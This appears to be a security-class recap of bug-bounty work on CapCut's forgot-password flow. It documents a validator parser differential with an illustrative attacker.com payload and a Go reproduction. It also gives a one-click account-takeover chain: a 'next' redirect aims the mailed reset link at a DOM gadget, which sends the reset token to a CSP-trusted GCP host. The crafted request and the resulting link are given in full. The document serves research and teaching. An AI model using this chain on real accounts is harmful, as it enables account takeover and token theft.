Takopi Class  /  Recap

Session 13

Still on CapCut. The forgot password flow mapped end to end, the reset-link host validator broken with a parser differential, then a one-click account takeover chaining two informational bugs, the three sources of parameter discovery, then the tracks session 12 queued, the other identity providers, the token mints, the JS files and the non-happy path, run in whatever order the day takes them.

Summary of findings

  1. 01The reset flow has four steps and two tickets. The change password ticket sets the new password.Target: the forgot password flow on www.capcut.comInfoMapped
  2. 02The host check validates one value. The mailed link comes from another value.Target: the reset-link host validator on www.capcut.comInformationalFound
  3. 03Two informational bugs chain into a one-click account takeover.Target: the reset link and /dyd-download/download_with_token on www.capcut.comConfirmedConfirmed
  4. 04Parameter names come from three sources.Target: no target, a method noteNoteMethod note
  • Confirmed Proven on the target. The source does not give a rating.
  • Informational The source rates this bug informational on its own.
  • Info Groundwork. No security effect is claimed.
  • Note A method or a lesson. Not a test result.

Scope

Session

Asset www.capcut.com IdP Google, Facebook, Apple Goal the session 12 queue
Host
www.capcut.com
Gadget
/dyd-download/download_with_token
Request
The forgot-password request, with the next parameter
Code
A Go program for the host check. The source does not say where it ran.

Where each test ran

  • Live on the target: sections 01 and 03
  • Not stated: section 02, the source does not say if the Go code ran on CapCut
  • Method note: section 04, no test
  • Not marked done: seven tracks, see Open items

Findings

Each card is one result. The number is the section number of the original recap. Long code is in Evidence.

01Infotested live · mapped · forgot password, happy path

The forgot password flow, four steps and two tickets

Target

The forgot password flow on www.capcut.com.

Impact
Two tickets, and only the second one changes the password. The email ticket from step 1 starts the flow, the change password ticket from step 3 is the one step 4 spends, so that ticket is the artifact the rest of this flow turns on.
Steps

CapCut's password reset is not one link with one token, it is a chain of tickets. The first ticket only opens the flow, the change password ticket is the golden one, it is what the last step spends to set the new password.

Flow chart 1How do the two tickets lead to a new password?
User Server email ticket link, OTP new password Enter the email address Check the reset email Return the golden ticket Change the password 1 2 3 4
  • Start or end
  • Action
  • Attack path
  • Step number
  1. step 1, request the resetenter the email addressthe response hands back an email ticket
  2. step 2, check our emailthe reset email carries a DOM linkclicking the DOM link fires an HTTP request, together with the OTP
  3. step 3, the golden ticketthe response is the change password ticketthe golden ticket plus a new password
  4. step 4, change the passwordnew password + golden ticket = password changed
Evidence

The source gives no request or code for this card. The four steps above are the record.

Status

Mapped. The source says the flow is mapped end to end.

02Informationaltested live · found · reset-link host validator, parser differential

Bug 1, the host check validates one value and builds the link from another

Target

The reset-link host validator on www.capcut.com.

Impact
Informative on its own, the host swap moves the mailed link to a host you choose. The takeover in the next section did not go through this handle, it went through the path handle, keeping the host capcut.com and pointing the link at a gadget on the site itself.
Steps

The reset link from section 01 has two handles, its host and its path. This is the first, the host. The host is validated, but the validator and the builder do not parse the same string, so a value that reads as capcut.com to the check reads as another host to the link that gets mailed.

CAPCUT.COM, RESET-LINK VALIDATOR, PARSE TWICE

Flow chart 2Why is the validated host not the mailed host?
Flowchart of the reset-link host validator parsing the value twice. Step 1, decode: the incoming value is URL-decoded to O, then O is HTML-decoded to A. Step 2, parse A and check it: A is parsed into the components QS, host, port, protocol and fragment, and the check requires A.host to equal capcut.com or a dot capcut.com subdomain and A.protocol to be http or https, both must hold. If both pass, step 3, parse O again, not A, O being the value before the HTML-decode, parsed into the same components QS, host, port, protocol and fragment. Step 4, build_url of O, then append aid, code and email, and send the mail. Conclusion: the check read A but the link is built from O, so when A and O differ the validated host is not the mailed host. Validator Builder HTML-decoded if both pass value O Decode the value Validate value A Parse O again Build the link from O 1 2 3 4
  • Start or end
  • Action
  • Attack path
  • Step number
  1. URL-decode, then HTML-decodethe incoming value is URL-decoded to O, then HTML-decoded to A1 · decode the valueURL received, URL-decode = Othen HTML-decode O = A
  2. validate Arequire A.host to be capcut.com or a .capcut.com subdomain, and A.protocol to be http or https2 · parse A, then check AQS, host, port, protocol, fragment, with host and protocol highlightedcheck A.host == capcut.com or .capcut.comcheck A.protocol == http or httpsboth must hold
  3. re-parse Oif the check passed, parse the value again, this time O, not A3 · parse O again, not AO is the value before the HTML-decodeQS, host, port, protocol, fragment
  4. build from Obuild the link from O and append aid, code and email4 · build_url(O)then append aid, code, email, and send the mailthe check read A, the link is built from Owhen A and O differ, the validated host is not the mailed host

The value is parsed twice, and the check and the build do not read the same one. Step 2 validates A, the HTML-decoded value, on its host and protocol, the two parts highlighted. Steps 3 and 4 then re-parse and build from O, the value before that HTML-decode. Any value whose A.host is capcut.com but whose O.host is not rides straight into the mail.

Evidence

The code

The check parses the HTML-decoded value, the builder parses the raw value, so it validates one value and uses another: checkURL runs html.UnescapeString before url.Parse, then main parses rawURL again exactly as it came in and builds the link from that. [UNCLEAR IN SOURCE]

The differential

The lever is any HTML entity the URL parser treats as an authority delimiter only after it is decoded, so that A.host and O.host come out different. Illustrative, not the exact payload used, with # which is #, the fragment marker.

table
# illustrative shape, the entity differs the two parses
O      = https://capcut.com#@attacker.com/reset    parsed by the builder (step 3-4)
A      = https://capcut.com#@attacker.com/reset        htmlDecode(O), parsed by the check (step 2)
check    A.host = capcut.com                            passes, the # starts a fragment
build    O.host = attacker.com                          # stays literal, @ splits the host
Status

Found. The source rates this bug informational on its own. Section 03 used the path handle, not this host handle.

03Confirmedtested live · confirmed · 1-click ATO

One victim click to account takeover, two informational bugs chained

Target

The reset link on www.capcut.com, and /dyd-download/download_with_token on the same site.

Impact
One click by the victim and the reset token is gone. The gadget reads token, ships it to the GCP host, the attacker completes the reset. Two bugs that each close informative on their own chain into a one-click account takeover.
Steps

Two handles on the reset link from section 01. The first, the host, is the parser differential in section 02. The second is the one that paid, the same reset link also lets you control the path, so a link whose host stays capcut.com and passes the check can be pointed at any route on the site. On its own that is an open redirect on the reset link, informative. It turned into a takeover once it was pointed at a second informative bug.

CAPCUT.COM, FORGOT PASSWORD TO 1-CLICK ATO

INFORMATIONAL · BUG 1 [UNCLEAR IN SOURCE]

next controls the reset link

  • forgot-password takes a next= value
  • it becomes the reset link in the mail
  • open redirect on the reset link
  • low on its own
INFORMATIONAL · BUG 2

the token exfil gadget

  • /dyd-download/download_with_token
  • reads token and download_api
  • ships token to the download_api host
  • arbitrary host blocked by CSP, GCP bypass
Flow chart 3How does one click give the attacker the reset token?
Diagram of the CapCut one-click account takeover. Two informational bugs sit at the top. Bug 1: the forgot-password request takes a next parameter that becomes the reset link in the victim's mail, an open redirect on the reset link, low on its own. Bug 2: a DOM gadget at slash dyd-download slash download_with_token reads token and download_api from the URL and ships the token to the download_api host, where an arbitrary host is blocked by CSP but a GCP link bypasses it. The two are chained in four steps. One, the attacker sends the forgot-password request with next pointing the reset link at the gadget. Two, the victim is mailed the reset link, which opens the gadget not the reset page and carries the real reset token and code. Three, the victim clicks once. Four, the gadget leaks the token, sending it to the download_api GCP host which passes CSP so the attacker reads it. The result: the attacker completes the reset with the token, a one-click account takeover from two informational bugs. Attacker Server Victim next link opens gadget GCP host Send forgot password Mail the reset link Click the link once Leak the token Reset the password 1 2 3 4 5
  • Start or end
  • Action
  • Attack path
  • Step number
  1. Attacker1 · Attacker sends the forgot-passwordnext points the reset link at the gadget
  2. Server2 · Victim is mailed the reset linkthe link opens the gadget, not the reset pageit carries the real reset token and code
  3. Victim3 · Victim clicks once
  4. the gadget4 · The gadget leaks the tokentoken is sent to download_apithe GCP host passes CSP, attacker reads it
  5. AttackerThe attacker completes the reset with the tokenone click, two informational bugs, account takeover

Neither bug moves severity on its own, the chain does. The next redirect aims the mailed reset link at the gadget, the gadget ships the reset token out through a CSP-trusted GCP host, and the victim's single click hands the attacker everything needed to finish the reset.

Evidence

The gadget, a DOM feature that exfiltrates the token

The Feature in the DOM track turned up /dyd-download/download_with_token, which reads two query parameters and ships the token to whatever host download_api names. A few minutes on it, the only parameter worth anything was token.

js
var t = e.get("token"),
    a = e.get("download_api"),
    i = a && ...          // token t is sent to the host in download_api

the gadget

https://www.capcut.com/dyd-download/download_with_token?token=x&download_api=<host>/1

Standalone this leaks a value to an arbitrary host, informative. The obstacle was CSP, an arbitrary attacker host as download_api was denied. The bypass was a GCP link, a Google storage host the CSP already trusts, so the token lands somewhere the attacker reads.

CSP bypass

https://www.capcut.com/dyd-download/download_with_token?token=x&download_api=<gcp-host>/1

Pointing the reset link at the gadget

Now the two meet. The next parameter on the forgot-password request is set to the gadget URL, so the link CapCut mails the victim opens the gadget instead of the reset page, and the real reset token and code ride along in the query where the gadget reads them.

http
POST /forgot ...
mix_mode=1&email=<hex of [email protected]>&type=31
  &next=https%3A%2F%2Fwww.capcut.com%2Fdyd-download%2Fdownload_with_token%3Fdownload_api%3D<gcp-host>%26
  &fixed_mix_mode=1

The link that lands in the victim's mailbox, the gadget URL with the reset artifacts attached:

url
https://www.capcut.com/dyd-download/download_with_token
  ?aid=348188&code=<otp>&download_api=<gcp-host>
  &email=victim%40example.com&language=en&locale=en
  &type=4&showType=password&token=<reset token>
Status

Confirmed. The source confirms a one-click account takeover from two informational bugs.

04Notenote · narrow recon, parameter discovery

Parameter discovery, three sources

Target

No target. This is a method note.

Impact
1 + 2 = new parameters based on patterns. The names from the archive and from the live pages show how this app names things, and new candidate names are built on those patterns, the sibling step on the narrow recon checklist.
Steps

Three places parameter names come from. The first two read names the app already uses, and together they make new ones, the third one guesses.

  1. WaybackPull the archived URLs for the host and extract every parameter name from them with unfurlparameter extract, unfurl
  2. Page responsesExtract every parameter name from the responses of the live pagesparameter extract
  3. Brute forceGuess the names neither source shows, with Burp Param Miner and x8Param Miner + x8
Evidence

The source gives no request or code for this note.

Status

Method note. The source gives no test result for it.

Evidence

This section has the long code. Click an item to open it. Use Copy to copy a code block.

E1The Go code for the host checkcode · checkURL, generateCode and main

Evidence for section 02.

go
package main

import (
    "bufio"
    "crypto/rand"
    "encoding/hex"
    "fmt"
    "net/url"
    "os"
    "strings"

    "golang.org/x/net/html"
)

func checkURL(decodedURL string) bool {
    u, err := url.Parse(html.UnescapeString(decodedURL))
    if err != nil {
        return false
    }
    host := strings.ToLower(u.Hostname())
    return host == "capcut.com" || strings.HasSuffix(host, ".capcut.com")
}

func generateCode() string {
    b := make([]byte, 8)
    rand.Read(b)
    return hex.EncodeToString(b)
}

func main() {
    fmt.Print("url: ")
    sc := bufio.NewScanner(os.Stdin)
    if !sc.Scan() {
        return
    }
    rawURL := strings.TrimRight(sc.Text(), "\r\n")

    if !checkURL(rawURL) {
        fmt.Println("rejected: host is not capcut.com")
        return
    }

    u, err := url.Parse(rawURL)
    if err != nil {
        return
    }

    q := u.Query()
    q.Set("code", generateCode())
    if _, ok := q["aid"]; !ok {
        q.Set("aid", "21312312")
    }
    u.RawQuery = q.Encode()

    fmt.Println(u.String())
}
05

Open items

Session track list

Carried over from session 12, two done so far. Nothing is marked done until it is actually proven.

  • OAuth for Facebook, Apple and the rest
  • GIS token mintdone
  • Facebook token mint
  • There is a second Facebook path
  • Feature in the DOMdone
  • API from the JS files, IDOR
  • DOM bugs from the JS files
  • Bucket brute
  • Non-happy path